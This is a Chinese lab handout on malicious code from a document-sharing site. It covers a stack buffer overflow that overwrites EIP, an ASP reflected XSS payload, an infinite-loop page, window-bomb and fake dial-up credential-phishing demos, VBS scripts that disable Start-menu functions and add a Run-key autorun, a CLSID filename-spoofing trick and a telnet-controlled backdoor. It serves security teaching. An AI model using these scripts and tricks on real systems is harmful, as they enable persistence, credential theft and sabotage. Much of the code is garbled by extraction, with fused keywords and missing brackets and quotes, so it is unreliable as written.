实验四恶意代码实验之欧阳化创编Word文件下载.docx
- 文档编号:18513051
- 上传时间:2022-12-18
- 格式:DOCX
- 页数:8
- 大小:20.16KB
实验四恶意代码实验之欧阳化创编Word文件下载.docx
《实验四恶意代码实验之欧阳化创编Word文件下载.docx》由会员分享,可在线阅读,更多相关《实验四恶意代码实验之欧阳化创编Word文件下载.docx(8页珍藏版)》请在冰豆网上搜索。
编写简单的溢出攻击程序,编译后分别在实验主机和虚拟机中运行。
1.简单原理示例
VC环境下编译以下代码:
#include<
stdio.h>
string.h>
charname[]="
abcdefghijklmnopqrstuvwxyz"
;
intmain(){
charbuffer[8];
strcpy(buffer,name);
return0;
}
运行编译后的程序,会出现系统下图警告,点击“调试”按钮,根据返回的偏移值可推断出溢出的部位。
2.溢出攻击模拟示例
实验需要使用以下工具:
●OllyDB
●Uedit
首先写一个C++程序2.c,源码:
#include"
iostream.h"
intmain()
{
charname[8];
cout<
<
"
Pleasetypeyourname:
"
cin>
>
name;
Hello,"
name;
\n"
return0;
赋值一个名为name的字符类型数组(字符串),其内容空间为8个字节,运行程序时首先提示使用者输入你的名字,当输入后将该值吸入给name,然后以“Hello,你的名字\n”的方式输出。
使用VC的lc编译该程序(编译后的程序为2.exe)后,运行…此时若“你的名字”小于或等于8个字节时程序当然能正常运行了,但若超过8个字节时将出现:
这次我们要做的实验就是让该程序溢出,并能跳转到程序的开头重新运行该程序。
首先我们运行2.exe,当程序进行至提示用户输入字符串时,输入一个特殊定制的字符串“aaabbbcccdddeeefff”,在弹出的对话框中按“调试”按钮(这里我是用OllyDB作为系统的主调试器的)进入OllyDB调试模式:
这里我们发现负责下一跳的EIP寄存器的值被覆盖了,其值为66656565,对照ascii表后发现其值为“feee”,由于寄存器是‘倒转’的,因此其实是“eeef”覆盖了EIP,现在我们可以确认这个输入的字符串中是从第13个字节开始覆盖EIP的,共4个字节。
用OllyDB重新加载2.exe:
我们可以看到该程序起始地址为004041B0,根据字符与地址的对照关系是‘倒转’的原理:
004041B0
等于
B0414000
此时打开UltraEdit,输入1,然后按Ctrl+H切换到HEX显示模式,然后在HEX输出界面中输入B0414000:
此时再按Ctrl+H切换回原来的输入模式就可以得到相应的字符了:
按Ctrl+A选中该输出的字符串,将其放在第12个字节之后,如:
“aaabbbcccddd癆@”,现在我们重新启动2.exe,在输入字符串时输入该段字符串:
如图,无论输入多少次都还是“循环”,溢出成功。
【思考题】溢出攻击提升权限是如何实现的?
二、跨站脚本攻击
假设某站点网站网页文件为index.asp,代码如下:
%@Language=VBScript%>
%IfRequest.Cookies("
userName"
)<
Then
DimstrRedirectUrl
strRedirectUrl="
page2.asp?
userName="
strRedirectUrl=strRedirectUrl&
Response.Cookies("
)
Response.Redirect(strRedirectUrl)
Else%>
HTML>
HEAD>
TITLE>
MyNiceSHomePage<
/TITLE>
/HEAD>
BODY>
H2>
MyNiceS<
/H2>
FORMmethod="
post"
action="
page2.asp"
EnteryourMyNiceSusername:
INPUTtype="
text"
name="
submit"
value="
/FORM>
/BODY>
/HTML>
%EndIf%>
上述代码执行后,调用page2.asp,回显输入的字符。
page2.asp代码如下:
%DimstrUserName
IfRequest.QueryString("
)<
strUserName=Request.QueryString("
Else
Response.Cookies("
)=Request.Form("
strUserName=Request.Form("
EndIf%>
H3align="
center"
Hello:
<
%=strUserName%>
/H3>
如果,在index.asp中输入<
script>
alert('
Hello!
!
'
);
/script>
,点击提交,观察运行结果。
【思考题】黑客利用跨站脚本攻击可以造成哪些危害?
三、恶意脚本
1.恶意脚本的网页,交叉显示红色和黑色背景。
代码存为html文件,将网页文件放在web目录下,通过浏览器访问该网页。
html>
body>
Test
varcolor=newArray;
color[1]="
black"
//设置两种颜色
color[2]="
red"
for(x=2;
x<
3;
x++)
{
document.bgColor=color[x];
//设置背景色
if(x==2){x=0;
}//造成死循环
/html>
2.网页炸弹,也被称为窗口轰炸,是一种极其恶劣的针对客户端攻击行为。
以下示例可以在附带的光盘上找到。
这个示例主要针对IE浏览器,如图3-93,点击“网页炸弹演示”的链接。
此时,需要有一定的心理准备,因为马上会出现如图3-94的场景,而且窗口会越来越多。
制止的方法只有一个,按下热启动组合键Ctrl+Alt+Del,进入安全对话框,迅速打开任务管理器并中止“网页炸弹.htm”窗口的运行。
如果动手比较慢的话,你的系统极有可能崩溃。
那么,网页炸弹是如何实现窗口轰炸的呢?
观察该页面的源代码就可以找到答案了,如图。
在遭受窗口轰炸时,很容易导致系统崩溃,重新启动系统即可。
3.网页欺骗
在附带光盘上有笔者制作的一个有趣的网页欺骗演示,如图3-88,点击其中的链接。
图3-88网页欺骗演示
屏幕弹出两个窗口,用户可以看见如图3-89的提示,粗心的拨号用户就可能认为真的是线路中断。
然后在图3-90界面中输入用户名和密码,点击拨号。
图3-89虚假的线路中断提示
图3-90模拟的拨号连接界面
一旦用户点击“拨号”后,我们就可以得到他的用户帐户和登录密码。
当然,笔者的演示页面中没有加任何恶意代码,可以放心浏览。
查看第一个页面的源代码,如图3-91,读者可以了解到弹出模拟页面的方法。
图3-91主页面源代码
查看第二个页面的源代码,如图3-92,你可以了解到模拟页面是如何画出来的。
图3-92网页欺骗的部分源代码
这种欺骗代码可以通过嵌入恶意网页、邮件和共享文件夹中的.htt文件等方法,等待用户去触发执行它。
其欺骗行为还可以有其它的方式,如模拟QQ登录界面、Outlook邮箱登录界面、访问共享时弹出的用户验证窗体等,用户必须加倍小心。
当出现这些界面时,一定要思量一下是否正常。
4.改造系统的“开始”菜单,禁用查找、运行和关闭功能的脚步程序.ChangeStartMenu.vbs
双击运行即可。
如果发现启动菜单没有变化,则重启系统后可以看到执行效果。
SubChange(Argument)
ChangeStartMenu.RegWriteRegPath&
Argument,Key_Data,Type_Name
MsgBox("
Success!
)
EndSub
DimChangeStartMenu
SetChangeStartMenu=WScript.CreateObject("
WScript.Shell"
RegPath="
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
Type_Name="
REG_DWORD"
Key_Data=1
StartMenu_Run="
NoRun"
StartMenu_Find="
NoFind"
StartMenu_Close="
NoClose"
CallChange(StartMenu_Run)'
禁用“开始”菜单中的“运行”功能
CallChange(StartMenu_Find)'
禁用“开始”菜单中的“查找”功能
CallChange(StartMenu_Close)'
禁用“开始”菜单中的“关闭系统”功能
5.向Windows中添加自启动程序,使得该程序能在系统开机时自动运行,代码:
auto.vbs,
直接运行该脚步程序,则系统启动之后会自动运行cmd程序。
DimAutoRunProgram
SetAutoRunProgram=WScript.CreateObject("
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
REG_SZ"
Key_Name="
AutoRun"
Key_Data="
C:
\windows\system32\cmd.exe"
该自启动程序的全路径文件名
AutoRunProgram.RegWriteRegPath&
Key_Name,Key_Data,Type_Name
在启动组中添加自启动程序autorun.exe
【思考题】恶意脚本构成安全威胁的根本原因是什么?
6.文件名欺骗
我们现在首先创建一个文本文件,将它的文件名命名为:
test.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}
在该文件里面添加如图内容。
图3-83诱饵文件
现在,我们通过资源管理器查看,会发现它显示为test.txt,如图。
这是因为{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}在注册表里是htr文件关联的CLSID(ClassID),用资源管理器和IE浏览器查看时并不会显现出来,你看到的就是个.txt文件。
当你误认为是一个.txt文件,而双击打开它时,就会被执行,如图。
在我们的这个例子中只是启动了一个命令行命令Ping,并没有什么危害性,如果运行的是格式化、删除文件等破坏性命令,后果就不堪设想了。
其实这个文件在命令行窗口下是可以看见的,如下图。
这种欺骗的方法,还可以用在邮件的附件中,比如将一个恶意的VBS脚本装成文本文件、图片等,再起个吸引人的名字,引诱用户去点击。
这样就可以直接对用户进行攻击,如删除文件、格式化磁盘、安装木马文件、传播病毒等。
那么,针对这种欺骗如何识别和防范呢?
细心一点可以发现,在资源管理器(文件查看方式默认为“按WEB页方式”查看)中这种带有欺骗性质的.txt文件显示出来的并不是文本文件的图标,它显示的是未定义文件类型的图标,这是区分它与正常.txt文件的最好方法,细心一点就不容易上当了。
另外,如图资源管理器在文件左面会显示出其文件类型,此时可以看到它不是真正的txt文件,而是“HTMLApplication”。
四、后门程序
backdoor示例程序使用了子进程技术。
服务器打开子进程执行cmd,服务器接收客户端的命令,转交给子进程执行,并把子进程执行的结果转交给客户端。
在服务器上执行backdoor程序,例如在主机192.168.1.100上执行backdoor。
在一个选定的客户机器上执行telnet程序:
telnet192.168.1.100888
可以控制服务器,在服务器上执行命令。
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 实验 恶意代码 欧阳 创编